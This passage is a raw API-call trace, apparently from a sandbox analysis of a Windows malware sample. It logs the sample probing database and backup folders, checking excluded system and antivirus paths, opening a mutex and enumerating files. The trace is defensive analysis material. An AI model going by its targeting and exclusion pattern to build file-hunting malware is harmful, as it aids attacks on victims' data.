lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.724] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.724] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@⑴R企@\x18㿬Q\x181")) returned 0xffffffff [0046.725] GetLastError () returned 0x2 [0046.725] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@⊤R企@\x18?T\x18;")) returned 0xffffffff [0046.725] GetLastError () returned 0x2 [0046.725] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0046.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@숼R企@\x18?T\x18D")) returned 0xffffffff [0046.725] GetLastError () returned 0x2 [0046.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@⑴R企@\x18⊤R\x18j")) returned 0xffffffff [0046.726] GetLastError () returned 0x2 [0046.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@╜R企@\x18?T\x18q")) returned 0xffffffff [0046.726] GetLastError () returned 0x2 [0046.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⊠RÐ") returned 6 [0046.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0046.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@⑴R企@\x18?T\x18y")) returned 0xffffffff [0046.727] GetLastError () returned 0x2 [0046.727] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0046.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0046.727] GetLastError () returned 0x2 [0046.727] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0046.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@╜R企@\x18?T\x18\x88")) returned 0xffffffff [0046.728] GetLastError () returned 0x2 [0046.728] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0046.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@⑴R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.728] GetLastError () returned 0x2 [0046.728] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0046.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@숼R企@\x18?T\x18\x97")) returned 0xffffffff [0046.729] GetLastError () returned 0x2 [0046.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.729] GlobalLock (hMem=0x440004) returned 0x552180 [0046.729] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.729] GlobalUnlock (hMem=0x440004) returned 0 [0046.729] GlobalLock (hMem=0x440004) returned 0x552180 [0046.729] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.729] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.729] GlobalUnlock (hMem=0x440004) returned 0 [0046.729] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.729] GlobalUnlock (hMem=0x44000c) returned 0 [0046.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.729] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.729] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.729] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.730] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.730] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.730] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.730] GlobalUnlock (hMem=0x44000c) returned 0 [0046.730] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.730] GlobalLock (hMem=0x440004) returned 0x554190 [0046.730] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.730] GlobalUnlock (hMem=0x44000c) returned 0 [0046.730] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.730] GlobalUnlock (hMem=0x440004) returned 0 [0046.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\") returned 0x49 [0046.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.732] GlobalLock (hMem=0x440004) returned 0x552180 [0046.732] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.732] GlobalUnlock (hMem=0x440004) returned 0 [0046.732] GlobalLock (hMem=0x440004) returned 0x552180 [0046.732] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.732] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.732] GlobalUnlock (hMem=0x440004) returned 0 [0046.732] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.732] GlobalUnlock (hMem=0x44000c) returned 0 [0046.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.732] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.732] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0046.732] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.732] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.732] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.732] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.732] GlobalUnlock (hMem=0x44000c) returned 0 [0046.732] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.732] GlobalLock (hMem=0x440004) returned 0x555198 [0046.732] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.732] GlobalUnlock (hMem=0x44000c) returned 0 [0046.732] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.732] GlobalUnlock (hMem=0x440004) returned 0 [0046.732] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.733] CharLowerBuffW (in: lpsz="numbase.xml", cchLength=0xb | out: lpsz="numbase.xml") returned 0xb [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 